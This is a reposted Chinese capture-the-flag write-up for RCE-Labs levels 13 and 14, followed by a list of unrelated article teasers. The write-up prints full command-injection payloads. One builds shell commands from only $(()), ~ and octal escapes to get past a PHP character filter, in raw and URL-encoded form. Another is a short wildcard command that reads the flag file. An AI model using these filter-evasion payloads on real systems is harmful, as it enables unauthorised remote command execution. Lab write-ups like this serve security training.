[Hello-CTF]RCE-Labs超詳細WP-Level13Level14(PHP下的0/1構造RCE命令簡單的字數限制RCE)

Level 13

源碼分析

  • 這題又回到了 PHP
  • 重點關注
    preg_match("/[A-Za-z0-9\"%*+,-.\/:;>?@[\]^`|]/", $cmd)
  • 禁用了所有數字, 并且回到了 PHP, 沒辦法用上一關的方法進行繞過
  • 但是比起上一關, 給我們少繞過了 &, ~, _
  • 似乎有其他方法

解題分析

  • 利用 $(()) 和 ~(取反操作) 進行構造數字
  • 這里就舉一個例子, 如何構造數字 1, 我只能感嘆太巧了(用電腦看吧, 手機看格式加載太奇怪了, 真不行去看原文鏈接)
    這里假設有符號整數只是1比特$(())     $(())       -> 0                              (二進制為 0000) (只寫出一個)~$(())     ~$(())	           -> ~0   (二進制為 ~0000) (只寫出一個)~$(())     ~$(())               -> ~0   (二進制為 ~0000) (只寫出一個)$((~$(())))$((~$(())))         -> -1   (二進制為 1111) (只寫出一個)$(($((~$(())))$((~$(())))))      -> -2   (二進制為 1110)~$(($((~$(())))$((~$(())))))            -> ~-2  (二進制為 ~1110)
$((~$(($((~$(())))$((~$(())))))))        -> 1    (二進制為 0001)
    • 剩下的就自己推吧
      oct_list = [  # 構造數字 0-7 以便于后續八進制形式的構造'$(())',  # 0'$((~$(($((~$(())))$((~$(())))))))',  # 1'$((~$(($((~$(())))$((~$(())))$((~$(())))))))',  # 2'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 3'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 4'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 5'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 6'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 7
]
  • ${!#} 來表示 bash 在本關的 PHP 環境并不適用, 只能通過定義變量的方式進行
    • 先定義一個 變量 __, 并賦值為 0, 即 __=0
      • 這里注意終端的命名規則
      • 變量命名規范是以下劃線或者英文字母開頭，可以包含下劃線和英文字母數字
      • 所以不能使用一個 _ 作為變量名
  • 然后通過 ${!__} 的方式來代替 $0, 即終端名
  • 而定義變量與獲取flag的命令之間采用 && 連接
  • 最后 payload 如下
    __=$(())&&${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'

解題步驟

  • 這一題又是 GET 傳遞參數, 又需要進行URL編碼, 因為這里新加入了 =, &符號, 為了方便, 直接全部拿去 URL編碼 了, 最后 Payload 如下
?cmd=%5f%5f%3d%24%28%28%29%29%26%26%24%7b%21%5f%5f%7d%3c%3c%3c%24%7b%21%5f%5f%7d%5c%3c%5c%3c%5c%3c%5c%24%5c%27%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%27
  • 請添加圖片描述

Level 14

源碼分析

  • 這一關采用了 strlen() 函數檢測命令長度
  • 并只允許執行小于 7個字符的命令

解題分析

  • 應該還記得前幾關使用的通配符吧
  • 把 cat /flag 壓縮到 7個字符以下應該不難吧

解題步驟

  • Payload 如下
    ?1=cat%20/f*

本文來自互聯網用戶投稿，該文觀點僅代表作者本人，不代表本站立場。本站僅提供信息存儲空間服務，不擁有所有權，不承擔相關法律責任。
如若轉載，請注明出處：http://www.pswp.cn/web/72459.shtml
繁體地址，請注明出處：http://hk.pswp.cn/web/72459.shtml
英文地址，請注明出處：http://en.pswp.cn/web/72459.shtml

如若內容造成侵權/違法違規/事實不符，請聯系多彩編程網進行投訴反饋email:809451989@qq.com，一經查實，立即刪除！

相關文章

Qt 控件概述 QWdiget 1.1

Qt 控件概述 QWdiget 1.1

目錄 qrc機制 qrc使用 1.在項目中創建一個 qrc 文件 2.將圖片導入到qrc文件中 windowOpacity&#xff1a; cursor 光標 cursor類型 自定義Cursor font tooltip focusPolicy styleSheet qrc機制 之前提到使用相對路徑的方法來存放資源&#xff0c;還有一種更好的方式…
閱讀更多...
【eNSP實戰】將路由器配置為DHCP服務器

【eNSP實戰】將路由器配置為DHCP服務器

拓圖 要求&#xff1a; 為 office100 和 office200 分別配置地址池 AR1接口配置 interface GigabitEthernet0/0/0ip address 192.168.100.1 255.255.255.0 # interface GigabitEthernet0/0/1ip address 192.168.200.1 255.255.255.0 AR1路由器上創建office100地址池 [AR1…
閱讀更多...
數據結構——順序表seqlist

數據結構——順序表seqlist

前言&#xff1a;大家好&#x1f60d;&#xff0c;本文主要介紹了數據結構——順序表部分的內容 目錄 一、線性表的定義 二、線性表的基本操作 三.順序表 1.定義 2. 存儲結構 3. 特點 四 順序表操作 4.1初始化 4.2 插入 4.2.1頭插 4.2.2 尾插 4.2.3 按位置插 4.3 …
閱讀更多...
OSPF | LSDB 鏈路狀態數據庫 / SPF 算法 / 實驗

OSPF | LSDB 鏈路狀態數據庫 / SPF 算法 / 實驗

注&#xff1a;本文為 “OSPF | LSDB / SPF ” 相關文章合輯。 LSDB 和 SPF 算法 瀟湘浪子的蹋馬骨湯 發布 2019-02-15 23:58:46 1. 鏈路狀態數據庫 (LSDB) 鏈路狀態協議除了執行洪泛擴散鏈路狀態通告&#xff08;LSA&#xff09;以及發現鄰居等任務外&#xff0c;其第三個任…
閱讀更多...
前端---CSS（前端三劍客）

前端---CSS（前端三劍客）

1.基本語法規范 選擇器 {?條/N條聲明} ? 選擇器決定針對誰修改 (找誰) ? 聲明決定修改啥. (?啥) ? 聲明的屬性是鍵值對. 使? ; 區分鍵值對, 使? : 區分鍵和值 比如&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta…
閱讀更多...
【C++】 —— 筆試刷題day_6

【C++】 —— 筆試刷題day_6

刷題day_6&#xff0c;繼續加油哇&#xff01; 今天這三道題全是高精度算法 一、大數加法 題目鏈接&#xff1a;大數加法 題目解析與解題思路 OK&#xff0c;這道題題目描述很簡單&#xff0c;就是給我們兩個字符串形式的數字&#xff0c;讓我們計算這兩個數字的和 看題目我…
閱讀更多...
todolist docker 小工具

todolist docker 小工具

參考鏈接 前排提示 沒有中文&#xff0c;可使用瀏覽器 翻譯 前提 安裝docker安裝docker-compose 下載倉庫 git clone https://github.com/JordanKnott/taskcafe進行安裝 cd taskcafe docker-compose -p taskcafe up -d服務啟動后會監聽在 3333 端口上&#xff0c;通過瀏覽器…
閱讀更多...
Unity--GPT-SoVITS接入、處理GPTAPI的SSE響應流

Unity--GPT-SoVITS接入、處理GPTAPI的SSE響應流

GPT-SoVITS GPT-SoVITS- v2&#xff08;v3也可以&#xff0c;兩者對模型文件具有兼容&#xff09; 點擊后 會進入新的游覽器網頁 ----- 看了一圈&#xff0c;發現主要問題集中在模型的訓練很需要CPU&#xff0c;也就是模型的制作上&#xff0c;問題很多&#xff0c;如果有現有…
閱讀更多...
《TypeScript 快速上手：類型、編譯與嚴格模式的簡明教程》

《TypeScript 快速上手：類型、編譯與嚴格模式的簡明教程》

一、TypeScript介紹 在引入編程社區 20 多年后&#xff0c;JavaScript 現在已成為有史以來應用最廣泛的跨平臺語言之一。JavaScript 最初是一種用于向網頁添加微不足道的交互性的小型腳本語言&#xff0c;現已發展成為各種規模的前端和后端應 用程序的首選語言。雖然用 JavaSc…
閱讀更多...
ROS2 系統架構

ROS2 系統架構

1.操作系統層 ros2是基于Linux、Windows、macOS系統建立的&#xff0c;這一層為ros2提供了各種基礎的硬件驅動&#xff0c;比如網卡驅動&#xff0c;常用USB驅動和常用攝像頭驅動等。 2.DDS實現層 ros2的核心通信是采用第三方的通信組件來實現的&#xff0c;這個第三方就是數…
閱讀更多...
【HTML】二、列表、表格

【HTML】二、列表、表格

文章目錄 1、列表1.1 無序列表1.2 有序列表1.3 定義列表 2、表格2.1 定義2.2 表格結構標簽2.3 合并單元格 1、列表 列表分為&#xff1a; 無序列表有序列表定義列表&#xff1a;一個標題下有多個小分類 1.1 無序列表 ul嵌套li&#xff0c;ul是無序列表&#xff0c;li是列表…
閱讀更多...
redis zset基本介紹以及底層實現

redis zset基本介紹以及底層實現

ZSet&#xff08;Sorted Set&#xff09;有序集合 介紹 Redis 中的有序集合(Sorted Set)是在集合(Set)的基礎上,為每個成員關聯了一個分數(score)。這個分數可以用來對集合中的成員進行排序。 有序集合保留了集合不能有重復成員的特性&#xff08;成員不能重復&#xff0c;分值…
閱讀更多...
政策助力，3C 數碼行業數字化起航

政策助力，3C 數碼行業數字化起航

政策引領&#xff0c;數字經濟浪潮來襲 在當今時代&#xff0c;數字經濟已成為全球經濟發展的核心驅動力&#xff0c;引領著新一輪科技革命和產業變革的潮流。我國深刻洞察這一發展趨勢&#xff0c;大力推進數字化經濟發展戰略&#xff0c;為經濟的高質量發展注入了強大動力。 …
閱讀更多...
IntelliJ IDEA 快捷鍵系列：重命名快捷鍵詳解

IntelliJ IDEA 快捷鍵系列：重命名快捷鍵詳解

目錄 引言一、默認重命名快捷鍵1. Windows 系統?2. Mac 系統? 二、操作步驟與技巧1. 精準選擇重命名范圍?2. 智能過濾無關內容? 三、總結 引言 在代碼重構中&#xff0c;?重命名變量、類、方法? 是最常用的操作之一。正確使用快捷鍵可以極大提升開發效率。本文針對 ?Ma…
閱讀更多...
文檔搜索引擎

文檔搜索引擎

首先獲取很多網頁(爬蟲->一個http客戶端,發送http請求獲取http響應結果(就是網站))(批量化的獲取很多的頁面) 再根據用戶輸入的查詢詞,在網頁中進行查找 用戶輸入查詢詞之后,如何讓查詢詞和當前這些網頁進行匹配 ->使用倒排索引 倒排索引 1.文檔: 每個待搜索的網頁(被爬…
閱讀更多...
開源工具利器：Mermaid助力知識圖譜可視化與分享

開源工具利器：Mermaid助力知識圖譜可視化與分享

在現代 web 開發中&#xff0c;可視化工具對于展示流程、結構和數據關系至關重要。Mermaid 是一款強大的 JavaScript 工具&#xff0c;它使用基于 Markdown 的語法來呈現可定制的圖表、圖表和可視化。對于展示流程、結構和數據關系至關重要。通過簡單的文本描述&#xff0c;你可…
閱讀更多...
C# --- LINQ

C# --- LINQ

C# --- LINQ 什么是LINQFluent Syntax 和 SQL-Like QueryLINQ Operations 什么是LINQ LINQ的全稱為Language Integrated Query, 為各種查詢(包括對象查詢&#xff0c;數據庫查詢&#xff0c;XML查詢) 提供了統一模型.LINQ源于SQL&#xff0c;但比SQL更加強大&#xff0c;更加靈…
閱讀更多...
【AI News | 20250316】每日AI進展

【AI News | 20250316】每日AI進展

AI Repos 1、ReActMCP 將網絡搜索能力集成到AI助手中的一個MCP服務&#xff1a;ReActMCP Web Search&#xff0c;相當于給AI裝了個搜索引擎&#xff0c;可以實時查找最新的內容。它基于Exa API執行基本和高級網絡搜索&#xff0c;高級搜索比如限制搜索的網站范圍、指定日期范圍…
閱讀更多...
【VUE】day04-組件的生命周期、組件之間的數據共享、ref引用、購物車案例

【VUE】day04-組件的生命周期、組件之間的數據共享、ref引用、購物車案例

【VUE】day04-組件的生命周期、組件之間的數據共享、ref引用、購物車案例 1. 組件之間的關系2. 使用組件的三個步驟3. vue.components全局注冊組件4. 自動生成右邊標簽插件5. 組件的props6. 結合v-bind使用自定義屬性7. props的默認default值8. type值類型9. 組件之間的樣式沖突…
閱讀更多...
Redis分布式鎖深度剖析：從原理到Redisson實戰，破解腦裂與高并發鎖難題

Redis分布式鎖深度剖析：從原理到Redisson實戰，破解腦裂與高并發鎖難題

一、&#x1f4cc; 分布式鎖的核心應用場景 場景類型典型案例風險說明&#x1f680; 高并發場景電商秒殺、票務搶購庫存超賣風險? 定時任務場景集群日志清理、數據統計任務重復執行&#x1f504; 冪等場景支付接口重試、訂單創建資金重復扣款 二、&#x1f527; Redis分布式鎖…
閱讀更多...
最新文章

Copyright @ 2022~2023